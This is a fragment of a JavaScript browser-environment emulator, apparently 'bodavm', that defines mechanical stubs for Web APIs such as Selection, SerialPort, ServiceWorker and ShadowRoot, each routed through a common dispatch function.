arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "addRange", {configurable:true, enumerable:true, writable:true, value:function addRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "addRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "collapse", {configurable:true, enumerable:true, writable:true, value:function collapse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "collapseToEnd", {configurable:true, enumerable:true, writable:true, value:function collapseToEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToEnd", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "collapseToStart", {configurable:true, enumerable:true, writable:true, value:function collapseToStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToStart", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "containsNode", {configurable:true, enumerable:true, writable:true, value:function containsNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "containsNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "deleteFromDocument", {configurable:true, enumerable:true, writable:true, value:function deleteFromDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "deleteFromDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "empty", {configurable:true, enumerable:true, writable:true, value:function empty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "empty", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "extend", {configurable:true, enumerable:true, writable:true, value:function extend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "getRangeAt", {configurable:true, enumerable:true, writable:true, value:function getRangeAt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "getRangeAt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "modify", {configurable:true, enumerable:true, writable:true, value:function modify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "modify", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "removeAllRanges", {configurable:true, enumerable:true, writable:true, value:function removeAllRanges (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeAllRanges", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "removeRange", {configurable:true, enumerable:true, writable:true, value:function removeRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "selectAllChildren", {configurable:true, enumerable:true, writable:true, value:function selectAllChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "selectAllChildren", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "setBaseAndExtent", {configurable:true, enumerable:true, writable:true, value:function setBaseAndExtent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setBaseAndExtent", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "setPosition", {configurable:true, enumerable:true, writable:true, value:function setPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setPosition", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "toString", arguments)}},'prototype'); - -// SensorErrorEvent对象 -bodavm.memory.globalobj['SensorErrorEvent'] = function SensorErrorEvent(){if (!(this instanceof SensorErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SensorErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SensorErrorEvent'], "SensorErrorEvent"); -bodavm.memory.globalobj['SensorErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SensorErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SensorErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SensorErrorEvent'].prototype, "SensorErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); - -// Serial对象 -bodavm.memory.globalobj['Serial'] = function Serial(){if (!(this instanceof Serial)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Serial'], "Serial"); -bodavm.memory.globalobj['Serial'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Serial'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Serial', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Serial', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Serial', "getPorts", {configurable:true, enumerable:true, writable:true, value:function getPorts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "getPorts", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Serial', "requestPort", {configurable:true, enumerable:true, writable:true, value:function requestPort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "requestPort", arguments)}},'prototype'); - -// SerialPort对象 -bodavm.memory.globalobj['SerialPort'] = function SerialPort(){if (!(this instanceof SerialPort)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SerialPort'], "SerialPort"); -bodavm.memory.globalobj['SerialPort'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SerialPort'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SerialPort', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "writable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "forget", {configurable:true, enumerable:true, writable:true, value:function forget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "forget", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "getInfo", {configurable:true, enumerable:true, writable:true, value:function getInfo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getInfo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "getSignals", {configurable:true, enumerable:true, writable:true, value:function getSignals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getSignals", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SerialPort', "setSignals", {configurable:true, enumerable:true, writable:true, value:function setSignals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "setSignals", arguments)}},'prototype'); - -// ServiceWorker对象 -bodavm.memory.globalobj['ServiceWorker'] = function ServiceWorker(){if (!(this instanceof ServiceWorker)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorker'], "ServiceWorker"); -bodavm.memory.globalobj['ServiceWorker'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ServiceWorker'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ServiceWorker', "scriptURL", {configurable:true, enumerable:true, get:function scriptURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "scriptURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "postMessage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorker', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_set", arguments)}},'prototype'); - -// ServiceWorkerContainer对象 -bodavm.memory.globalobj['ServiceWorkerContainer'] = function ServiceWorkerContainer(){if (!(this instanceof ServiceWorkerContainer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerContainer'], "ServiceWorkerContainer"); -bodavm.memory.globalobj['ServiceWorkerContainer'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ServiceWorkerContainer'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "controller", {configurable:true, enumerable:true, get:function controller (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "controller_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "oncontrollerchange", {configurable:true, enumerable:true, get:function oncontrollerchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_get", arguments)}, set:function oncontrollerchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistration", {configurable:true, enumerable:true, writable:true, value:function getRegistration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistrations", {configurable:true, enumerable:true, writable:true, value:function getRegistrations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistrations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "register", {configurable:true, enumerable:true, writable:true, value:function register (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "register", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "startMessages", {configurable:true, enumerable:true, writable:true, value:function startMessages (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "startMessages", arguments)}},'prototype'); - -// ServiceWorkerRegistration对象 -bodavm.memory.globalobj['ServiceWorkerRegistration'] = function ServiceWorkerRegistration(){if (!(this instanceof ServiceWorkerRegistration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerRegistration'], "ServiceWorkerRegistration"); -bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ServiceWorkerRegistration'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "installing", {configurable:true, enumerable:true, get:function installing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "installing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "waiting", {configurable:true, enumerable:true, get:function waiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "waiting_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "active", {configurable:true, enumerable:true, get:function active (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "active_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "navigationPreload", {configurable:true, enumerable:true, get:function navigationPreload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "navigationPreload_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "scope", {configurable:true, enumerable:true, get:function scope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "scope_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "updateViaCache", {configurable:true, enumerable:true, get:function updateViaCache (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "updateViaCache_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "onupdatefound", {configurable:true, enumerable:true, get:function onupdatefound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_get", arguments)}, set:function onupdatefound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "unregister", {configurable:true, enumerable:true, writable:true, value:function unregister (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "unregister", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "update", {configurable:true, enumerable:true, writable:true, value:function update (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "update", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "paymentManager", {configurable:true, enumerable:true, get:function paymentManager (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "paymentManager_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "backgroundFetch", {configurable:true, enumerable:true, get:function backgroundFetch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "backgroundFetch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "periodicSync", {configurable:true, enumerable:true, get:function periodicSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "periodicSync_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "sync", {configurable:true, enumerable:true, get:function sync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "sync_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "cookies", {configurable:true, enumerable:true, get:function cookies (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "cookies_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "pushManager", {configurable:true, enumerable:true, get:function pushManager (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "pushManager_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "getNotifications", {configurable:true, enumerable:true, writable:true, value:function getNotifications (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "getNotifications", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "showNotification", {configurable:true, enumerable:true, writable:true, value:function showNotification (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "showNotification", arguments)}},'prototype'); - -// sessionStorage对象 -bodavm.memory.globalobj['sessionStorage'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['sessionStorage'].__proto__=bodavm.memory.globalobj['Storage'].prototype; - -// ShadowRoot对象 -bodavm.memory.globalobj['ShadowRoot'] = function ShadowRoot(){if (!(this instanceof ShadowRoot)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ShadowRoot'], "ShadowRoot"); -bodavm.memory.globalobj['ShadowRoot'].prototype.__proto__=bodavm.memory.globalobj['DocumentFragment'].prototype; -bodavm.memory.globalobj['ShadowRoot'].__proto__=bodavm.memory.globalobj['DocumentFragment']; -bodavm.toolsFunc.defineProperty('ShadowRoot', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "host_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "innerHTML", {configurable:true, enumerable:true, get:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_get", arguments)}, set:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "delegatesFocus", {configurable:true, enumerable:true, get:function delegatesFocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "delegatesFocus_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "slotAssignment", {configurable:true, enumerable:true, get:function slotAssignment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "slotAssignment_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "pictureInPictureElement", {configurable:true, enumerable:true, get:function pictureInPictureElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pictureInPictureElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "activeElement", {configurable:true, enumerable:true, get:function activeElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "activeElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "styleSheets", {configurable:true, enumerable:true, get:function styleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "styleSheets_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "pointerLockElement", {configurable:true, enumerable:true, get:function pointerLockElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pointerLockElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "fullscreenElement", {configurable:true, enumerable:true, get:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_get", arguments)}, set:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "adoptedStyleSheets", {configurable:true, enumerable:true, get:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_get", arguments)}, set:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "elementFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementFromPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "elementsFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementsFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementsFromPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "getInnerHTML", {configurable:true, enumerable:true, writable:true, value:function getInnerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getInnerHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "getSelection", {configurable:true, enumerable:true, writable:true, value:function getSelection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getSelection", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getAnimations", arguments)}},'prototype'); - -// SharedWorker对象 -bodavm.memory.globalobj['SharedWorker'] = function SharedWorker(){if (!(this instanceof SharedWorker)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SharedWorker': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SharedWorker'], "SharedWorker"); -bodavm.memory.globalobj['SharedWorker'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SharedWorker'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SharedWorker', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SharedWorker', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_set", arguments)}},'prototype'); - -// showDirectoryPicker对象 -bodavm.memory.globalobj['showDirectoryPicker'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('showDirectoryPicker', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('showDirectoryPicker', "name", {configurable:true, enumerable:false, writable:false, value:"showDirectoryPicker"}); - -// showOpenFilePicker对象 -bodavm.memory.globalobj['showOpenFilePicker'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('showOpenFilePicker', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('showOpenFilePicker', "name", {configurable:true, enumerable:false, writable:false, value:"showOpenFilePicker"}); - -// showSaveFilePicker对象 